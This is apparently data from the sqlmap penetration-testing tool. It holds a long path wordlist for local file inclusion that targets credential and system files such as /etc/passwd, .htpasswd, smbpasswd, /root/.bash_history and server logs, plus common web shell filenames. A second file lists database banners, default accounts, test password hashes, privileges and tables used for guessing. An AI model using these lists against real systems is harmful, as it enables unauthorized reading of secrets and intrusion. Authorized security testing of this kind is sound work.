/usr/pkgsrc/net/pureftpd/pure-ftpd.conf
/usr/pkgsrc/net/pureftpd/pureftpd.passwd
/usr/pkgsrc/net/pureftpd/pureftpd.pdb
/usr/ports/contrib/pure-ftpd/pure-ftpd.conf
/usr/ports/contrib/pure-ftpd/pureftpd.passwd
/usr/ports/contrib/pure-ftpd/pureftpd.pdb
/usr/ports/ftp/pure-ftpd/pure-ftpd.conf
/usr/ports/ftp/pure-ftpd/pureftpd.passwd
/usr/ports/ftp/pure-ftpd/pureftpd.pdb
/usr/ports/net/pure-ftpd/pure-ftpd.conf
/usr/ports/net/pure-ftpd/pureftpd.passwd
/usr/ports/net/pure-ftpd/pureftpd.pdb
/usr/sbin/mudlogd
/usr/sbin/mudpasswd
/usr/sbin/pure-config.pl
/usr/share/adduser/adduser.conf
/usr/share/logs/catalina.err
/usr/share/logs/catalina.out
/usr/share/squirrelmail/config/config.php
/usr/share/squirrelmail/plugins/squirrel_logger/setup.php
/usr/share/tomcat/logs/catalina.err
/usr/share/tomcat/logs/catalina.out
/usr/share/tomcat6/conf/context.xml
/usr/share/tomcat6/conf/logging.properties
/usr/share/tomcat6/conf/server.xml
/usr/share/tomcat6/conf/workers.properties
/usr/share/tomcat6/logs/catalina.err
/usr/share/tomcat6/logs/catalina.out
/usr/spool/lp/log
/usr/spool/mqueue/syslog
/var/adm/acct/sum/loginlog
/var/adm/aculog
/var/adm/aculogs
/var/adm/crash/unix
/var/adm/crash/vmcore
/var/adm/cron/log
/var/adm/dtmp
/var/adm/lastlog/username
/var/adm/log/asppp.log
/var/adm/log/xferlog
/var/adm/loginlog
/var/adm/lp/lpd-errs
/var/adm/messages
/var/adm/pacct
/var/adm/qacct
/var/adm/ras/bootlog
/var/adm/ras/errlog
/var/adm/sulog
/var/adm/syslog
/var/adm/utmp
/var/adm/utmpx
/var/adm/vold.log
/var/adm/wtmp
/var/adm/wtmpx
/var/adm/x0msgs
/var/apache/conf/httpd.conf
/var/cpanel/cpanel.config
/var/cpanel/tomcat.options
/var/cron/log
/var/data/mysql-bin.index
/var/lib/mysql/my.cnf
/var/lib/pgsql/data/postgresql.conf
/var/lib/squirrelmail/prefs/squirrelmail.log
/var/lighttpd.log
/var/local/www/conf/php.ini
/var/log/access.log
/var/log/access_log
/var/log/apache/access.log
/var/log/apache/access_log
/var/log/apache/error.log
/var/log/apache/error_log
/var/log/apache2/access.log
/var/log/apache2/access_log
/var/log/apache2/error.log
/var/log/apache2/error_log
/var/log/apache2/squirrelmail.err.log
/var/log/apache2/squirrelmail.log
/var/log/auth.log
/var/log/auth.log
/var/log/authlog
/var/log/boot.log
/var/log/cron/var/log/postgres.log
/var/log/daemon.log
/var/log/daemon.log.1
/var/log/data/mysql-bin.index
/var/log/error.log
/var/log/error_log
/var/log/exim/mainlog
/var/log/exim/paniclog
/var/log/exim/rejectlog
/var/log/exim_mainlog
/var/log/exim_paniclog
/var/log/exim_rejectlog
/var/log/ftp-proxy
/var/log/ftp-proxy/ftp-proxy.log
/var/log/ftplog
/var/log/httpd/access.log
/var/log/httpd/access_log
/var/log/httpd/error.log
/var/log/httpd/error_log
/var/log/ipfw
/var/log/ipfw.log
/var/log/ipfw.today
/var/log/ipfw/ipfw.log
/var/log/kern.log
/var/log/kern.log.1
/var/log/lighttpd.access.log
/var/log/lighttpd.error.log
/var/log/lighttpd/access.log
/var/log/lighttpd/access.www.log
/var/log/lighttpd/error.log
/var/log/lighttpd/error.www.log
/var/log/log.smb
/var/log/mail.err
/var/log/mail.info
/var/log/mail.log
/var/log/mail.log
/var/log/mail.warn
/var/log/maillog
/var/log/messages
/var/log/messages.1
/var/log/muddleftpd
/var/log/muddleftpd.conf
/var/log/mysql-bin.index
/var/log/mysql.err
/var/log/mysql.log
/var/log/mysql/data/mysql-bin.index
/var/log/mysql/mysql-bin.index
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql-slow.log
/var/log/mysql/mysql.log
/var/log/mysqlderror.log
/var/log/news.all
/var/log/news/news.all
/var/log/news/news.crit
/var/log/news/news.err
/var/log/news/news.notice
/var/log/news/suck.err
/var/log/news/suck.notice
/var/log/nginx.access_log
/var/log/nginx.error_log
/var/log/nginx/access.log
/var/log/nginx/access_log
/var/log/nginx/error.log
/var/log/nginx/error_log
/var/log/pgsql/pgsql.log
/var/log/pgsql8.log
/var/log/pgsql_log
/var/log/pm-powersave.log
/var/log/poplog
/var/log/postgres/pg_backup.log
/var/log/postgres/postgres.log
/var/log/postgresql.log
/var/log/postgresql/main.log
/var/log/postgresql/postgres.log
/var/log/postgresql/postgresql-8.1-main.log
/var/log/postgresql/postgresql-8.3-main.log
/var/log/postgresql/postgresql-8.4-main.log
/var/log/postgresql/postgresql-9.0-main.log
/var/log/postgresql/postgresql-9.1-main.log
/var/log/postgresql/postgresql.log
/var/log/proftpd
/var/log/proftpd.access_log
/var/log/proftpd.xferlog
/var/log/proftpd/xferlog.legacy
/var/log/pure-ftpd/pure-ftpd.log
/var/log/pureftpd.log
/var/log/samba.log
/var/log/samba.log1
/var/log/samba.log2
/var/log/samba/log.nmbd
/var/log/samba/log.smbd
/var/log/squirrelmail.log
/var/log/sso/sso.log
/var/log/sw-cp-server/error_log
/var/log/syslog
/var/log/syslog.1
/var/log/thttpd_log
/var/log/tomcat6/catalina.out
/var/log/ufw.log
/var/log/user.log
/var/log/user.log.1
/var/log/vmware/hostd-1.log
/var/log/vmware/hostd.log
/var/log/vsftpd.log
/var/log/webmin/miniserv.log
/var/log/xferlog
/var/log/xorg.0.log
/var/logs/access.log
/var/lp/logs/lpnet
/var/lp/logs/lpsched
/var/lp/logs/requests
/var/mysql-bin.index
/var/mysql.log
/var/nm2/postgresql.conf
/var/postgresql/db/postgresql.conf
/var/postgresql/log/postgresql.log
/var/saf/_log
/var/saf/port/log
/var/www/.lighttpdpassword
/var/www/conf
/var/www/conf/httpd.conf
/var/www/html/squirrelmail-1.2.9/config/config.php
/var/www/html/squirrelmail/config/config.php
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log
/var/www/squirrelmail/config/config.php
/volumes/macintosh_hd1/opt/apache/conf/httpd.conf
/volumes/macintosh_hd1/opt/apache2/conf/httpd.conf
/volumes/macintosh_hd1/opt/httpd/conf/httpd.conf
/volumes/macintosh_hd1/usr/local/php/httpd.conf.php
/volumes/macintosh_hd1/usr/local/php/lib/php.ini
/volumes/macintosh_hd1/usr/local/php4/httpd.conf.php
/volumes/macintosh_hd1/usr/local/php5/httpd.conf.php
/volumes/webbackup/opt/apache2/conf/httpd.conf
/volumes/webbackup/private/etc/httpd/httpd.conf
/volumes/webbackup/private/etc/httpd/httpd.conf.default
/wamp/bin/apache/apache2.2.21/conf/httpd.conf
/wamp/bin/apache/apache2.2.21/logs/access.log
/wamp/bin/apache/apache2.2.21/logs/error.log
/wamp/bin/apache/apache2.2.21/wampserver.conf
/wamp/bin/apache/apache2.2.22/conf/httpd.conf
/wamp/bin/apache/apache2.2.22/conf/wampserver.conf
/wamp/bin/apache/apache2.2.22/logs/access.log
/wamp/bin/apache/apache2.2.22/logs/error.log
/wamp/bin/apache/apache2.2.22/wampserver.conf
/wamp/bin/mysql/mysql5.5.16/data/mysql-bin.index
/wamp/bin/mysql/mysql5.5.16/my.ini
/wamp/bin/mysql/mysql5.5.16/wampserver.conf
/wamp/bin/mysql/mysql5.5.24/data/mysql-bin.index
/wamp/bin/mysql/mysql5.5.24/my.ini
/wamp/bin/mysql/mysql5.5.24/wampserver.conf
/wamp/bin/php/php5.3.8/php.ini
/wamp/bin/php/php5.4.3/php.ini
/wamp/logs/access.log
/wamp/logs/apache_error.log
/wamp/logs/genquery.log
/wamp/logs/mysql.log
/wamp/logs/slowquery.log
/web/conf/php.ini
/windows/comsetup.log
/windows/debug/netsetup.log
/windows/odbc.ini
/windows/php.ini
/windows/repair/setup.log
/windows/setupact.log
/windows/setupapi.log
/windows/setuperr.log
/windows/win.ini
/windows/system32/drivers/etc/hosts
/windows/system32/drivers/etc/lmhosts.sam
/windows/system32/drivers/etc/networks
/windows/system32/drivers/etc/protocol
/windows/system32/drivers/etc/services
/windows/system32/logfiles/firewall/pfirewall.log
/windows/system32/logfiles/firewall/pfirewall.log.old
/windows/system32/logfiles/msftpsvc
/windows/system32/logfiles/msftpsvc1
/windows/system32/logfiles/msftpsvc2
/windows/system32/logfiles/smtpsvc
/windows/system32/logfiles/smtpsvc1
/windows/system32/logfiles/smtpsvc2
/windows/system32/logfiles/smtpsvc3
/windows/system32/logfiles/smtpsvc4
/windows/system32/logfiles/smtpsvc5
/windows/system32/logfiles/w3svc/inetsvn1.log
/windows/system32/logfiles/w3svc1/inetsvn1.log
/windows/system32/logfiles/w3svc2/inetsvn1.log
/windows/system32/logfiles/w3svc3/inetsvn1.log
/windows/system32/macromed/flash/flashinstall.log
/windows/system32/macromed/flash/install.log
/windows/updspapi.log
/windows/windowsupdate.log
/windows/wmsetup.log
/winnt/php.ini
/winnt/system32/logfiles/firewall/pfirewall.log
/winnt/system32/logfiles/firewall/pfirewall.log.old
/winnt/system32/logfiles/msftpsvc
/winnt/system32/logfiles/msftpsvc1
/winnt/system32/logfiles/msftpsvc2
/winnt/system32/logfiles/smtpsvc
/winnt/system32/logfiles/smtpsvc1
/winnt/system32/logfiles/smtpsvc2
/winnt/system32/logfiles/smtpsvc3
/winnt/system32/logfiles/smtpsvc4
/winnt/system32/logfiles/smtpsvc5
/winnt/system32/logfiles/w3svc/inetsvn1.log
/winnt/system32/logfiles/w3svc1/inetsvn1.log
/winnt/system32/logfiles/w3svc2/inetsvn1.log
/winnt/system32/logfiles/w3svc3/inetsvn1.log
/www/apache/conf/httpd.conf
/www/conf/httpd.conf
/www/logs/freebsddiary-access_log
/www/logs/freebsddiary-error.log
/www/logs/proftpd.system.log
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/xampp/apache/logs/access.log
/xampp/apache/logs/error.log
/xampp/filezillaftp/filezilla server.xml
/xampp/htdocs/aca.txt
/xampp/htdocs/admin.php
/xampp/htdocs/leer.txt
/xampp/mercurymail/mercury.ini
/xampp/mysql/data/mysql-bin.index
/xampp/mysql/data/mysql.err
/xampp/php/php.ini
/xampp/phpmyadmin/config.inc.php
/xampp/sendmail/sendmail.ini
/xampp/sendmail/sendmail.log
/xampp/webalizer/webalizer.conf
\autoexec.bat
\boot.ini
\inetpub\wwwroot\web.config
\web.config
\windows\system32\drivers\etc\hosts
\windows\win.ini
# Reference: https://repo.theoremforge.com/pentesting/tools/blob/0f1f0578739870b633c267789120d85982545a69/Uncategorized/Dump/lfiunix.txt
/etc/apache2/.htpasswd
/etc/apache/.htpasswd
/etc/master.passwd
/etc/muddleftpd/muddleftpd.passwd
/etc/muddleftpd/passwd
/etc/passwd
/etc/passwd~
/etc/passwd-
/etc/pureftpd.passwd
/etc/samba/private/smbpasswd
/etc/samba/smbpasswd
/etc/security/opasswd
/etc/security/passwd
/etc/smbpasswd
\Program Files\xampp\apache\conf\httpd.conf
/usr/local/pgsql/bin/pg_passwd
/usr/local/pgsql/data/passwd
/usr/pkgsrc/net/pureftpd/pureftpd.passwd
/usr/ports/contrib/pure-ftpd/pureftpd.passwd
/usr/ports/ftp/pure-ftpd/pureftpd.passwd
/usr/ports/net/pure-ftpd/pureftpd.passwd
/var/log/exim_rejectlog/etc/passwd
/etc/mysql/conf.d/old_passwords.cnf
/etc/password.master
/var/www/.lighttpdpassword
/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf
/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf
/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php
/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini
/Volumes/webBackup/opt/apache2/conf/httpd.conf
/Volumes/webBackup/private/etc/httpd/httpd.conf
/Volumes/webBackup/private/etc/httpd/httpd.conf.default
# Reference: https://pastebin.com/KgPsDXjg
/etc/passwd
/etc/crontab
/etc/hosts
/etc/my.cnf
/etc/.htpasswd
/root/.bash_history
/etc/named.conf
/proc/self/environ
/etc/php.ini
/bin/php.ini
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/apache/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/7.4/apache2/php.ini
/etc/php/php.ini
/usr/local/apache/conf/modsec.conf
/var/cpanel/cpanel.config
/proc/self/environ
/proc/self/fd/2
/etc/ssh/sshd_config
/var/lib/mysql/my.cnf
/etc/mysql/my.cnf
/etc/my.cnf
/etc/logrotate.d/proftpd
/www/logs/proftpd.system.log
/var/log/proftpd
/etc/proftp.conf
/etc/protpd/proftpd.conf
/etc/vhcs2/proftpd/proftpd.conf
/etc/proftpd/modules.conf
/etc/vsftpd.chroot_list
/etc/vsftpd/vsftpd.conf
/etc/vsftpd.conf
/etc/chrootUsers
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/usr/sbin/pure-config.pl
/usr/etc/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.conf
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/pureftpd/etc/pureftpd.pdb
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/pureftpd/etc/pure-ftpd.conf
/etc/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pureftpd.pdb
/etc/pureftpd.passwd
/etc/pure-ftpd/pureftpd.pdb
/var/log/ftp-proxy
/etc/logrotate.d/ftp
/etc/ftpchroot
/etc/ftphosts
/etc/smbpasswd
/etc/smb.conf
/etc/samba/smb.conf
/etc/samba/samba.conf
/etc/samba/smb.conf.user
/etc/samba/smbpasswd
/etc/samba/smbusers
/var/lib/pgsql/data/postgresql.conf
/var/postgresql/db/postgresql.conf
/etc/ipfw.conf
/etc/firewall.rules
/etc/ipfw.rules
/usr/local/etc/webmin/miniserv.conf
/etc/webmin/miniserv.conf
/usr/local/etc/webmin/miniserv.users
/etc/webmin/miniserv.users
/etc/squirrelmail/config/config.php
/etc/squirrelmail/config.php
/etc/httpd/conf.d/squirrelmail.conf
/usr/share/squirrelmail/config/config.php
/private/etc/squirrelmail/config/config.php
/srv/www/htdos/squirrelmail/config/config.php
# Web shells
/var/www/html/backdoor.php
/var/www/html/b374k.php
/var/www/html/c99.php
/var/www/html/cmd.php
/var/www/html/r57.php
/var/www/html/shell.php
/var/www/html/wso.php
# Misc
/app/app.js
/app/configure.js
/app/config/config.json
/etc/grafana/grafana.ini
/opt/kibana/config/kibana.yml
/etc/kibana/kibana.yml
/etc/elasticsearch/elasticsearch.yml
================================================
FILE: data/txt/common-outputs.txt
================================================
# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
[Banners]
# MySQL
3.22.
3.23.
4.0.
4.1.
5.0.
5.1.
5.5.
5.6.
5.7.
6.0.
8.0.
8.1.
8.2.
8.3.
8.4.
9.0.
9.1.
9.2.
9.3.
# PostgreSQL
PostgreSQL 7.0
PostgreSQL 7.1
PostgreSQL 7.2
PostgreSQL 7.3
PostgreSQL 7.4
PostgreSQL 8.0
PostgreSQL 8.1
PostgreSQL 8.2
PostgreSQL 8.3
PostgreSQL 8.4
PostgreSQL 8.5
PostgreSQL 9.0
PostgreSQL 9.1
PostgreSQL 9.2
PostgreSQL 9.3
PostgreSQL 9.4
PostgreSQL 9.5
PostgreSQL 9.6
PostgreSQL 10.
PostgreSQL 11.
PostgreSQL 12.
PostgreSQL 13.
PostgreSQL 14.
PostgreSQL 15.
PostgreSQL 16.
PostgreSQL 17.
# Oracle
Oracle Database 9i Standard Edition Release
Oracle Database 9i Standard Edition Release 9.
Oracle Database 9i Express Edition Release
Oracle Database 9i Express Edition Release 9.
Oracle Database 9i Enterprise Edition Release
Oracle Database 9i Enterprise Edition Release 9.
Oracle Database 10g Standard Edition Release
Oracle Database 10g Standard Edition Release 10.
Oracle Database 10g Express Edition Release
Oracle Database 10g Enterprise Edition Release
Oracle Database 10g Enterprise Edition Release 10.
Oracle Database 11g Standard Edition Release
Oracle Database 11g Standard Edition Release 11.
Oracle Database 11g Express Edition Release
Oracle Database 11g Express Edition Release 11.
Oracle Database 11g Enterprise Edition Release
Oracle Database 11g Enterprise Edition Release 11.
Oracle Database 12c
Oracle Database 18c
Oracle Database 19c
Oracle Database 21c
Oracle Database 23ai
Oracle Database 26ai
# Microsoft SQL Server
Microsoft SQL Server 7.0
Microsoft SQL Server 2000
Microsoft SQL Server 2005
Microsoft SQL Server 2008
Microsoft SQL Server 2012
Microsoft SQL Server 2014
Microsoft SQL Server 2016
Microsoft SQL Server 2017
Microsoft SQL Server 2019
Microsoft SQL Server 2022
Microsoft SQL Server 2025
[Users]
# MySQL >= 5.0
'debian-sys-maint'@'localhost'
'root'@'%'
'root'@'localhost'
# MySQL < 5.0
debian-sys-maint
root
# PostgreSQL
postgres
# Oracle
ANONYMOUS
CTXSYS
DBSNMP
DIP
DMSYS
EXFSYS
MDDATA
MDSYS
MGMT_VIEW
OLAPSYS
ORDPLUGINS
ORDSYS
OUTLN
SCOTT
SI_INFORMTN_SCHEMA
SYS
SYSMAN
SYSTEM
TSMSYS
WMSYS
XDB
# Microsoft SQL Server
sa
[Passwords]
# MySQL
*00E247AC5F9AF26AE0194B41E1E769DEE1429A29 # testpass
# PostgreSQL
md599e5ea7a6f7c3269995cba3927fd0093 # testpass
# Oracle
2D5A0C491B634F1B # testpass
# Microsoft SQL Server
0x0100098a6200f657f7d012dfa7dc1fd1b154d4dfb8cd20596d22 # testpass
[Privileges]
# MySQL >= 5.0
ALTER
ALTER ROUTINE
CREATE
CREATE ROUTINE
CREATE TEMPORARY TABLES
CREATE USER
CREATE VIEW
DELETE
DROP
EVENT
EXECUTE
FILE
INDEX
INSERT
LOCK TABLES
PROCESS
REFERENCES
RELOAD
REPLICATION CLIENT
REPLICATION SLAVE
SELECT
SHOW DATABASES
SHOW VIEW
SHUTDOWN
SUPER
TRIGGER
UPDATE
USAGE
# MySQL < 5.0
select_priv
insert_priv
update_priv
delete_priv
create_priv
drop_priv
reload_priv
shutdown_priv
process_priv
file_priv
grant_priv
references_priv
index_priv
alter_priv
show_db_priv
super_priv
create_tmp_table_priv
lock_tables_priv
execute_priv
repl_slave_priv
repl_client_priv
create_view_priv
show_view_priv
create_routine_priv
alter_routine_priv
create_user_priv
# PostgreSQL
catupd
createdb
super
# Oracle
ADMINISTER ANY SQL TUNING SET
ADMINISTER DATABASE TRIGGER
ADMINISTER RESOURCE MANAGER
ADMINISTER SQL TUNING SET
ADVISOR
ALTER ANY CLUSTER
ALTER ANY DIMENSION
ALTER ANY EVALUATION CONTEXT
ALTER ANY INDEX
ALTER ANY INDEXTYPE
ALTER ANY LIBRARY
ALTER ANY MATERIALIZED VIEW
ALTER ANY OUTLINE
ALTER ANY PROCEDURE
ALTER ANY ROLE
ALTER ANY RULE
ALTER ANY RULE SET
ALTER ANY SEQUENCE
ALTER ANY SQL PROFILE
ALTER ANY TABLE
ALTER ANY TRIGGER
ALTER ANY TYPE
ALTER DATABASE
ALTER PROFILE
ALTER RESOURCE COST
ALTER ROLLBACK SEGMENT
ALTER SESSION
ALTER SYSTEM
ALTER TABLESPACE
ALTER USER
ANALYZE ANY
ANALYZE ANY DICTIONARY
AUDIT ANY
AUDIT SYSTEM
BACKUP ANY TABLE
BECOME USER
CHANGE NOTIFICATION
COMMENT ANY TABLE
CREATE ANY CLUSTER
CREATE ANY CONTEXT
CREATE ANY DIMENSION
CREATE ANY DIRECTORY
CREATE ANY EVALUATION CONTEXT
CREATE ANY INDEX
CREATE ANY INDEXTYPE
CREATE ANY JOB
CREATE ANY LIBRARY
CREATE ANY MATERIALIZED VIEW
CREATE ANY OPERATOR
CREATE ANY OUTLINE
CREATE ANY PROCEDURE
CREATE ANY RULE
CREATE ANY RULE SET
CREATE ANY SEQUENCE
CREATE ANY SQL PROFILE
CREATE ANY SYNONYM
CREATE ANY TABLE
CREATE ANY TRIGGER
CREATE ANY TYPE
CREATE ANY VIEW
CREATE CLUSTER
CREATE DATABASE LINK
CREATE DIMENSION
CREATE EVALUATION CONTEXT
CREATE EXTERNAL JOB
CREATE INDEXTYPE
CREATE JOB
CREATE LIBRARY
CREATE MATERIALIZED VIEW
CREATE OPERATOR
CREATE PROCEDURE
CREATE PROFILE
CREATE PUBLIC DATABASE LINK
CREATE PUBLIC SYNONYM
CREATE ROLE
CREATE ROLLBACK SEGMENT
CREATE RULE
CREATE RULE SET
CREATE SEQUENCE
CREATE SESSION
CREATE SYNONYM
CREATE TABLE
CREATE TABLESPACE
CREATE TRIGGER
CREATE TYPE
CREATE USER
CREATE VIEW
DEBUG ANY PROCEDURE
DEBUG CONNECT SESSION
DELETE ANY TABLE
DEQUEUE ANY QUEUE
DROP ANY CLUSTER
DROP ANY CONTEXT
DROP ANY DIMENSION
DROP ANY DIRECTORY
DROP ANY EVALUATION CONTEXT
DROP ANY INDEX
DROP ANY INDEXTYPE
DROP ANY LIBRARY
DROP ANY MATERIALIZED VIEW
DROP ANY OPERATOR
DROP ANY OUTLINE
DROP ANY PROCEDURE
DROP ANY ROLE
DROP ANY RULE
DROP ANY RULE SET
DROP ANY SEQUENCE
DROP ANY SQL PROFILE
DROP ANY SYNONYM
DROP ANY TABLE
DROP ANY TRIGGER
DROP ANY TYPE
DROP ANY VIEW
DROP PROFILE
DROP PUBLIC DATABASE LINK
DROP PUBLIC SYNONYM
DROP ROLLBACK SEGMENT
DROP TABLESPACE
DROP USER
ENQUEUE ANY QUEUE
EXECUTE ANY CLASS
EXECUTE ANY EVALUATION CONTEXT
EXECUTE ANY INDEXTYPE
EXECUTE ANY LIBRARY
EXECUTE ANY OPERATOR
EXECUTE ANY PROCEDURE
EXECUTE ANY PROGRAM
EXECUTE ANY RULE
EXECUTE ANY RULE SET
EXECUTE ANY TYPE
EXPORT FULL DATABASE
FLASHBACK ANY TABLE
FORCE ANY TRANSACTION
FORCE TRANSACTION
GLOBAL QUERY REWRITE
GRANT ANY OBJECT PRIVILEGE
GRANT ANY PRIVILEGE
GRANT ANY ROLE
IMPORT FULL DATABASE
INSERT ANY TABLE
LOCK ANY TABLE
MANAGE ANY FILE GROUP
MANAGE ANY QUEUE
MANAGE FILE GROUP
MANAGE SCHEDULER
MANAGE TABLESPACE
MERGE ANY VIEW
ON COMMIT REFRESH
QUERY REWRITE
READ ANY FILE GROUP
RESTRICTED SESSION
RESUMABLE
SELECT ANY DICTIONARY
SELECT ANY SEQUENCE
SELECT ANY TABLE
SELECT ANY TRANSACTION
UNDER ANY TABLE
UNDER ANY TYPE
UNDER ANY VIEW
UNLIMITED TABLESPACE
UPDATE ANY TABLE
[Roles]
# Oracle
AQ_ADMINISTRATOR_ROLE
AQ_USER_ROLE
AUTHENTICATEDUSER
CONNECT
CTXAPP
DBA
DELETE_CATALOG_ROLE
EJBCLIENT
EXECUTE_CATALOG_ROLE
EXP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
HS_ADMIN_ROLE
IMP_FULL_DATABASE
JAVA_ADMIN
JAVADEBUGPRIV
JAVA_DEPLOY
JAVAIDPRIV
JAVASYSPRIV
JAVAUSERPRIV
LOGSTDBY_ADMINISTRATOR
MGMT_USER
OEM_ADVISOR
OEM_MONITOR
OLAP_DBA
OLAP_USER
RECOVERY_CATALOG_OWNER
RESOURCE
SCHEDULER_ADMIN
SELECT_CATALOG_ROLE
TABLE_ACCESSERS
WM_ADMIN_ROLE
XDBADMIN
XDBWEBSERVICES
[Databases]
# MySQL
information_schema
performance_schema
mysql
phpmyadmin
# PostgreSQL
pg_catalog
postgres
public
template0
template1
# Microsoft SQL Server
AdventureWorks
AdventureWorksDW
master
model
msdb
ReportServer
ReportServerTempDB
tempdb
# Cloud Defaults
rdsadmin
innodb
azure_maintenance
[Tables]
# MySQL >= 5.0
CHARACTER_SETS
COLLATION_CHARACTER_SET_APPLICABILITY
COLLATIONS
COLUMN_PRIVILEGES
COLUMNS
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMA_PRIVILEGES
SCHEMATA
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TABLES
TRIGGERS
USER_PRIVILEGES
VIEWS
# MySQL
columns_priv
db
event
func
general_log
help_category
help_keyword
help_relation
help_topic
host
ndb_binlog_index
plugin
proc
procs_priv
servers
slow_log
tables_priv
time_zone
time_zone_leap_second
time_zone_name
time_zone_transition
time_zone_transition_type
user
# phpMyAdmin
pma_bookmark
pma_column_info
pma_designer_coords
pma_history
pma_pdf_pages
pma_relation
pma_table_coords
pma_table_info
# Wordpress
wp_users
wp_posts
wp_comments
wp_options
wp_postmeta
wp_terms
wp_term_taxonomy
wp_term_relationships
wp_links
wp_commentmeta
# WooCommerce
wp_woocommerce_sessions
wp_woocommerce_api_keys
wp_woocommerce_attribute_taxonomies
# Magento
catalog_product_entity
sales_order
sales_order_item
customer_entity
quote
# Drupal
node
users
field_data_body
field_revision_body
taxonomy_term_data
taxonomy_vocabulary
# Joomla
joomla_users
joomla_content
joomla_categories
joomla_modules
# PostgreSQL
pg_aggregate
pg_am
pg_amop
pg_amproc
pg_attrdef
pg_attribute
pg_authid
pg_auth_members
pg_cast
pg_class
pg_constraint
pg_conversion
pg_cron_job
pg_cron_job_run_detail
pg_database
pg_depend
pg_description
pg_enum
pg_foreign_data_wrapper
pg_foreign_server
pg_index
pg_inherits
pg_language
pg_largeobject
pg_listener
pg_namespace
pg_opclass
pg_operator
pg_opfamily
pg_pltemplate
pg_proc
pg_rewrite
pg_shdepend
pg_shdescription
pg_statistic
pg_stat_statements
pg_tablespace
pg_trigger
pg_ts_config
pg_ts_config_map
pg_ts_dict
pg_ts_parser
pg_ts_template
pg_type
pg_user_mapping
sql_features
sql_implementation_info
sql_languages
sql_packages
sql_parts
sql_sizing
sql_sizing_profiles
# Oracle (demo database)
BONUS
DEPT
EMP
SALGRADE
USERS
# Microsoft SQL Server
## Database: AdventureWorksDW
AdventureWorksDWBuildVersion
DatabaseLog
DimAccount
DimCurrency
DimCustomer
DimDepartmentGroup
DimEmployee
DimGeography
DimOrganization
DimProduct
DimProductCategory
DimProductSubcategory
DimPromotion
DimReseller
DimSalesReason
DimSalesTerritory
DimScenario
DimTime
FactCurrencyRate
FactFinance
FactInternetSales
FactInternetSalesReason
FactResellerSales
FactSalesQuota
ProspectiveBuyer
vAssocSeqLineItems
vAssocSeqOrders
vDMPrep
vTargetMail
vTimeSeries
## Database: master
all_columns
all_objects
all_parameters
all_sql_modules
all_views
allocation_units
assemblies
assembly_files
assembly_modules
assembly_references
assembly_types
asymmetric_keys
backup_devices
certificates
CHECK_CONSTRAINTS
check_constraints
COLUMN_DOMAIN_USAGE
COLUMN_PRIVILEGES
column_type_usages
column_xml_schema_collection_usages
columns
COLUMNS
computed_columns
configurations
CONSTRAINT_COLUMN_USAGE
CONSTRAINT_TABLE_USAGE
conversation_endpoints
conversation_groups
credentials
crypt_properties
data_spaces
database_files
database_mirroring
database_mirroring_endpoints
database_mirroring_witnesses
database_permissions
database_principal_aliases
database_principals
database_recovery_status
database_role_members
databases
default_constraints
destination_data_spaces
dm_broker_activated_tasks
dm_broker_connections
dm_broker_forwarded_messages
dm_broker_queue_monitors
dm_clr_appdomains
dm_clr_loaded_assemblies
dm_clr_properties
dm_clr_tasks
dm_db_file_space_usage
dm_db_index_usage_stats
dm_db_mirroring_connections
dm_db_missing_index_details
dm_db_missing_index_group_stats
dm_db_missing_index_groups
dm_db_partition_stats
dm_db_session_space_usage
dm_db_task_space_usage
dm_exec_background_job_queue
dm_exec_background_job_queue_stats
dm_exec_cached_plans
dm_exec_connections
dm_exec_query_optimizer_info
dm_exec_query_stats
dm_exec_query_transformation_stats
dm_exec_requests
dm_exec_sessions
dm_fts_active_catalogs
dm_fts_index_population
dm_fts_memory_buffers
dm_fts_memory_pools
dm_fts_population_ranges
dm_io_backup_tapes
dm_io_cluster_shared_drives
dm_io_pending_io_requests
dm_os_buffer_descriptors
dm_os_child_instances
dm_os_cluster_nodes
dm_os_hosts
dm_os_latch_stats
dm_os_loaded_modules
dm_os_memory_allocations
dm_os_memory_cache_clock_hands
dm_os_memory_cache_counters
dm_os_memory_cache_entries
dm_os_memory_cache_hash_tables
dm_os_memory_clerks
dm_os_memory_objects
dm_os_memory_pools
dm_os_performance_counters
dm_os_ring_buffers
dm_os_schedulers
dm_os_stacks
dm_os_sublatches
dm_os_sys_info
dm_os_tasks
dm_os_threads
dm_os_virtual_address_dump
dm_os_wait_stats
dm_os_waiting_tasks
dm_os_worker_local_storage
dm_os_workers
dm_qn_subscriptions
dm_repl_articles
dm_repl_schemas
dm_repl_tranhash
dm_repl_traninfo
dm_tran_active_snapshot_database_transactions
dm_tran_active_transactions
dm_tran_current_snapshot
dm_tran_current_transaction
dm_tran_database_transactions
dm_tran_locks
dm_tran_session_transactions
dm_tran_top_version_generators
dm_tran_transactions_snapshot
dm_tran_version_store
